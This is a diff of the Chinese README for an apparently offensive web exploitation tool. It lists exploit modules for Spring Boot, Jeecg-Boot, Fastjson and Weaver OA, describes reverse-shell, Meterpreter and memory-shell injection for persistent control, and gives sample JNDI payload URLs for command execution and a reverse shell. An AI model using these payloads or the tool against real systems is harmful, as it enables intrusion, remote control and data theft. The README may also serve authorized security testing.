|
9 | 9 |
|
10 | 10 | ## 主要特性 |
11 | 11 |
|
12 | | -- **图形化界面**: 拥有直观的图形用户界面,操作简单。 |
13 | | -- **模块化设计**: 所有漏洞利用都以模块形式存在,方便添加新的漏洞利用代码。 |
14 | | -- **多语言支持**: 内置中英文双语,可随时切换。 |
15 | | -- **自定义主题**: 支持浅色、深色和IntelliJ等多种UI主题。 |
16 | | -- **代理支持**: 支持设置全局HTTP代理和调试代理(如Burp Suite),方便流量分析。 |
17 | | -- **一键式扫描**: 针对特定框架(如Jeecg、Fastjson)提供了一键式批量漏洞扫描功能。 |
18 | | -- **高级利用功能**: 针对Fastjson漏洞,提供了高级JNDI利用、文件读写、内存马注入等深度利用功能。 |
| 12 | +* **图形化界面**: 拥有直观的图形用户界面,操作简单。 |
| 13 | +* **模块化设计**: 所有漏洞利用都以模块形式存在,方便添加新的漏洞利用代码。 |
| 14 | +* **多语言支持**: 内置中英文双语,可随时切换。 |
| 15 | +* **自定义主题**: 支持浅色、深色和IntelliJ等多种UI主题。 |
| 16 | +* **代理支持**: 支持设置全局HTTP代理和调试代理(如Burp Suite),方便流量分析。 |
| 17 | +* **一键式扫描**: 针对特定框架(如Jeecg、Spring Boot)提供了一键式批量漏洞扫描功能。 |
| 18 | +* **高级利用功能**: 针对JNDI漏洞,提供了高级JNDI利用、内存马注入等深度利用功能。 |
19 | 19 |
|
20 | 20 | ## 已集成漏洞模块 |
21 | 21 |
|
22 | 22 | 工具目前集成了以下漏洞利用模块: |
23 | 23 |
|
24 | | -### 泛微 (Weaver OA) |
25 | | -- `前台登录绕过 + 后台组合拳RCE` |
| 24 | +### Spring Boot |
| 25 | + |
| 26 | +* **H2 Console JNDI RCE**: H2数据库控制台JNDI注入远程代码执行 |
| 27 | +* **H2 Query RCE**: H2数据库查询远程代码执行 |
| 28 | +* **Jolokia JNDI RCE**: Jolokia监控端点JNDI注入 |
| 29 | +* **Jolokia Get Property**: Jolokia属性获取 |
| 30 | +* **SpEL RCE**: Spring表达式语言远程代码执行 |
| 31 | +* **SnakeYAML RCE**: SnakeYAML反序列化远程代码执行 |
| 32 | +* **Groovy RCE**: Groovy脚本远程代码执行 |
| 33 | +* **Swagger信息泄露**: Swagger API文档信息泄露 |
| 34 | +* **Actuator端点**: Spring Boot Actuator端点利用 |
| 35 | +* **Logview目录遍历**: Logview组件目录遍历 |
| 36 | +* **Eureka OAST**: Eureka服务发现OAST检测 |
| 37 | +* **Heapdump下载**: 内存转储文件下载 |
26 | 38 |
|
27 | 39 | ### Jeecg-Boot |
28 | | -- **全漏洞扫描** (`jeecg-all`) |
29 | | -- **远程命令执行 (RCE)** |
30 | | - - `Jeecg-Boot: AviatorScript RCE` |
31 | | - - `Jeecg-Boot: jmreport/testConnection RCE` |
32 | | - - `Jeecg-Boot: sysMessageTemplate/sendMsg Ftl RCE` |
33 | | -- **SQL注入 (SQL Injection)** |
34 | | - - `Jeecg-Boot: onlDragDatasetHead/getTotalData SQL注入` |
35 | | - - `Jeecg-Boot: jmreport/qurestSql SQL注入` |
36 | | - - `Jeecg-Boot: jmreport/show 注入 (v3.5.0-3.5.1)` |
37 | | - - `Jeecg-Boot: /sys/api/getDictItems SQL注入` |
38 | | - - `Jeecg-Boot: getDictItemsByTable SQL Injection` |
39 | | - - `Jeecg-Boot: sys/duplicate/check SQL Injection` |
40 | | - - `Jeecg-Boot: /sys/dict/queryTableData SQL注入` |
41 | | -- **模板注入 (SSTI)** |
42 | | - - `Jeecg-Boot: JmReport SSTI RCE` |
43 | | - - `Jeecg-Boot: /jmreport/loadTableData Freemarker SSTI` |
44 | | -- **JNDI注入 (JNDI Injection)** |
45 | | - - `Jeecg-Boot: jeecgFormDemoController.do JNDI注入` |
46 | | - - `Jeecg-Boot: JNDI Injection (Auto-Verify)` |
47 | | -- **文件上传 (File Upload)** |
48 | | - - `jeecg-boot/jmreport/upload 任意文件上传` |
49 | | - - `Jeecg-Boot: commonController.do 任意文件上传` |
50 | | - - `Jeecg-commonController.do parserXml 文件上传` |
51 | | -- **其他漏洞** |
52 | | - - `Jeecg-Boot: 任意文件读取` |
53 | | - - `Jeecg-Boot: 未授权访问-用户列表` |
54 | | - - `JeecgBoot: Arbitrary Password Reset` |
55 | | - - `Jeecg-Boot: 未授权访问检测` |
| 40 | + |
| 41 | +* **全漏洞扫描** (`jeecg-all`) |
| 42 | +* **远程命令执行 (RCE)** |
| 43 | + * `Jeecg-Boot: AviatorScript RCE` |
| 44 | + * `Jeecg-Boot: jmreport/testConnection RCE` |
| 45 | + * `Jeecg-Boot: sysMessageTemplate/sendMsg Ftl RCE` |
| 46 | +* **SQL注入 (SQL Injection)** |
| 47 | + * `Jeecg-Boot: onlDragDatasetHead/getTotalData SQL注入` |
| 48 | + * `Jeecg-Boot: jmreport/qurestSql SQL注入` |
| 49 | + * `Jeecg-Boot: jmreport/show 注入 (v3.5.0-3.5.1)` |
| 50 | + * `Jeecg-Boot: /sys/api/getDictItems SQL注入` |
| 51 | + * `Jeecg-Boot: getDictItemsByTable SQL Injection` |
| 52 | + * `Jeecg-Boot: sys/duplicate/check SQL Injection` |
| 53 | + * `Jeecg-Boot: /sys/dict/queryTableData SQL注入` |
| 54 | +* **模板注入 (SSTI)** |
| 55 | + * `Jeecg-Boot: JmReport SSTI RCE` |
| 56 | + * `Jeecg-Boot: /jmreport/loadTableData Freemarker SSTI` |
| 57 | +* **JNDI注入 (JNDI Injection)** |
| 58 | + * `Jeecg-Boot: jeecgFormDemoController.do JNDI注入` |
| 59 | + * `Jeecg-Boot: JNDI Injection (Auto-Verify)` |
| 60 | +* **文件上传 (File Upload)** |
| 61 | + * `jeecg-boot/jmreport/upload 任意文件上传` |
| 62 | + * `Jeecg-Boot: commonController.do 任意文件上传` |
| 63 | + * `Jeecg-commonController.do parserXml 文件上传` |
| 64 | +* **其他漏洞** |
| 65 | + * `Jeecg-Boot: 任意文件读取` |
| 66 | + * `Jeecg-Boot: 未授权访问-用户列表` |
| 67 | + * `JeecgBoot: Arbitrary Password Reset` |
| 68 | + * `Jeecg-Boot: 未授权访问检测` |
56 | 69 |
|
57 | 70 | ### 通用组件 (Generic) |
58 | 71 |
|
59 | 72 | #### Fastjson (All-in-One) |
60 | 73 |
|
61 | 74 | 本工具集成了针对 Fastjson 反序列化漏洞的强大利用能力,覆盖从检测到深度利用的全过程。 |
62 | 75 |
|
63 | | -- **智能漏洞扫描**: |
64 | | - - 内置数十种主流及WAF绕过Payload。 |
65 | | - - 利用DNSLog (Ceye.io) 进行精准的盲注检测,自动发现可用的利用链。 |
66 | | - |
67 | | -- **高级JNDI利用 (Intelligent Exploitation)**: |
68 | | - - 在漏洞扫描成功后,自动解锁高级利用面板。 |
69 | | - - **一键化回显**: 自动遍历多种主流中间件(Tomcat, SpringEcho, WeblogicEcho)的回显Payload,解决不同环境下命令执行无回显的痛点。 |
70 | | - - **反弹Shell/C2**: 支持生成原生反弹Shell和MSF Meterpreter的Payload,可直接与监听器配合使用。 |
71 | | - - **内存马注入**: 支持一键注入哥斯拉(Godzilla)和冰蝎(Behinder)内存马,实现对目标的持久化控制。 |
72 | | - |
73 | | -- **文件操作**: |
74 | | - - **任意文件写入**: 利用 `TemplatesImpl` 和 BCEL 动态编译技术,将任意内容写入目标服务器指定路径,并提供Web路径验证功能。 |
75 | | - - **任意文件读取**: 利用 BSH (Bean Scripting Host) 执行脚本,将目标文件内容进行Base64编码后,通过DNSLog带出,实现无回显下的文件读取。 |
| 76 | +* **智能漏洞扫描**: |
| 77 | + * 内置数十种主流及WAF绕过Payload。 |
| 78 | + * 利用DNSLog (Ceye.io) 进行精准的盲注检测,自动发现可用的利用链。 |
| 79 | +* **高级JNDI利用 (Intelligent Exploitation)**: |
| 80 | + * 在漏洞扫描成功后,自动解锁高级利用面板。 |
| 81 | + * **一键化回显**: 自动遍历多种主流中间件(Tomcat, SpringEcho, WeblogicEcho)的回显Payload,解决不同环境下命令执行无回显的痛点。 |
| 82 | + * **反弹Shell/C2**: 支持生成原生反弹Shell和MSF Meterpreter的Payload,可直接与监听器配合使用。 |
| 83 | + * **内存马注入**: 支持一键注入哥斯拉(Godzilla)和冰蝎(Behinder)内存马,实现对目标的持久化控制。 |
| 84 | +* **文件操作**: |
| 85 | + * **任意文件写入**: 利用 `TemplatesImpl` 和 BCEL 动态编译技术,将任意内容写入目标服务器指定路径,并提供Web路径验证功能。 |
| 86 | + * **任意文件读取**: 利用 BSH (Bean Scripting Host) 执行脚本,将目标文件内容进行Base64编码后,通过DNSLog带出,实现无回显下的文件读取。 |
| 87 | + |
| 88 | +### 其他框架 |
| 89 | + |
| 90 | +* **泛微OA**: 泛微OA绕过和RCE漏洞利用 |
| 91 | + |
| 92 | +### 🔥 JNDIExploit-1.4-SNAPSHOT 集成 |
| 93 | + |
| 94 | +最新版本集成了 **JNDIExploit-1.4-SNAPSHOT** 工具的高级功能: |
| 95 | + |
| 96 | +#### 支持的攻击向量 |
| 97 | +* **Basic**: 基础JNDI注入 |
| 98 | +* **Deserialization**: 反序列化利用 |
| 99 | +* **TomcatBypass**: Tomcat绕过 |
| 100 | +* **GroovyBypass**: Groovy绕过 |
| 101 | +* **WebsphereBypass**: Websphere绕过 |
| 102 | + |
| 103 | +#### 支持的绕过模式 |
| 104 | +* **Command**: 命令执行 |
| 105 | +* **ReverseShell**: 反向Shell |
| 106 | +* **TomcatEcho**: Tomcat回显 |
| 107 | +* **SpringEcho**: Spring回显 |
| 108 | +* **TomcatMemshell1/2/3**: Tomcat内存马 |
| 109 | +* **GodzillaMemshell**: 哥斯拉内存马 |
| 110 | +* **Meterpreter**: MSF Meterpreter |
76 | 111 |
|
77 | 112 | ## 如何使用 |
78 | 113 |
|
79 | | -1. **环境要求**: JRE/JDK >= 1.8 |
80 | | -2. **下载**: 从本仓库的 [Releases](https://github.com/danran12/-web-exploit-tool/releases) 页面下载最新的 `web-exploit-tool.jar` 文件。 |
81 | | -3. **运行**: |
82 | | - ```bash |
83 | | - java -jar web-exploit-tool.jar |
84 | | - ``` |
| 114 | +1. **环境要求**: JRE/JDK >= 1.8 |
| 115 | +2. **编译**: |
| 116 | + ```bash |
| 117 | + mvn clean package -DskipTests |
| 118 | + ``` |
| 119 | +3. **运行**: |
| 120 | + ```bash |
| 121 | + java -jar target/web-exploit-tool-1.0-SNAPSHOT-jar-with-dependencies.jar |
| 122 | + ``` |
| 123 | + |
| 124 | +## 配置说明 |
| 125 | + |
| 126 | +### DNSLog配置 |
| 127 | +在 `config.properties` 文件中配置Ceye.io DNSLog服务: |
| 128 | +```properties |
| 129 | +ceye.identifier=your-ceye-identifier |
| 130 | +ceye.token=your-ceye-token |
| 131 | +``` |
| 132 | + |
| 133 | +### 代理配置 |
| 134 | +在程序界面中配置HTTP代理: |
| 135 | +- 代理地址: 127.0.0.1 |
| 136 | +- 代理端口: 8080 |
| 137 | + |
| 138 | +## 使用示例 |
| 139 | + |
| 140 | +### JNDIExploit高级模式使用 |
| 141 | + |
| 142 | +1. **启用高级模式**: 勾选"启用 JNDIExploit-1.4-SNAPSHOT 高级模式" |
| 143 | +2. **配置服务器**: 设置JNDI服务器IP地址 |
| 144 | +3. **选择攻击向量**: 选择Basic、Deserialization等攻击向量 |
| 145 | +4. **选择绕过模式**: 选择Command、ReverseShell等绕过模式 |
| 146 | +5. **配置参数**: 根据选择的模式配置相应参数 |
| 147 | +6. **执行利用**: 点击执行按钮 |
| 148 | + |
| 149 | +### 示例Payload |
| 150 | + |
| 151 | +#### 命令执行 |
| 152 | +``` |
| 153 | +ldap://127.0.0.1:1389/Basic/Command/whoami |
| 154 | +``` |
| 155 | + |
| 156 | +#### 反向Shell |
| 157 | +``` |
| 158 | +ldap://127.0.0.1:1389/Basic/ReverseShell/127.0.0.1/4444 |
| 159 | +``` |
| 160 | + |
| 161 | +#### 内存马 |
| 162 | +``` |
| 163 | +ldap://127.0.0.1:1389/Basic/TomcatMemshell1//ateam/pass1024 |
| 164 | +``` |
| 165 | + |
85 | 166 |
|
86 | 167 | ## 贡献 |
87 | 168 |
|
|
0 commit comments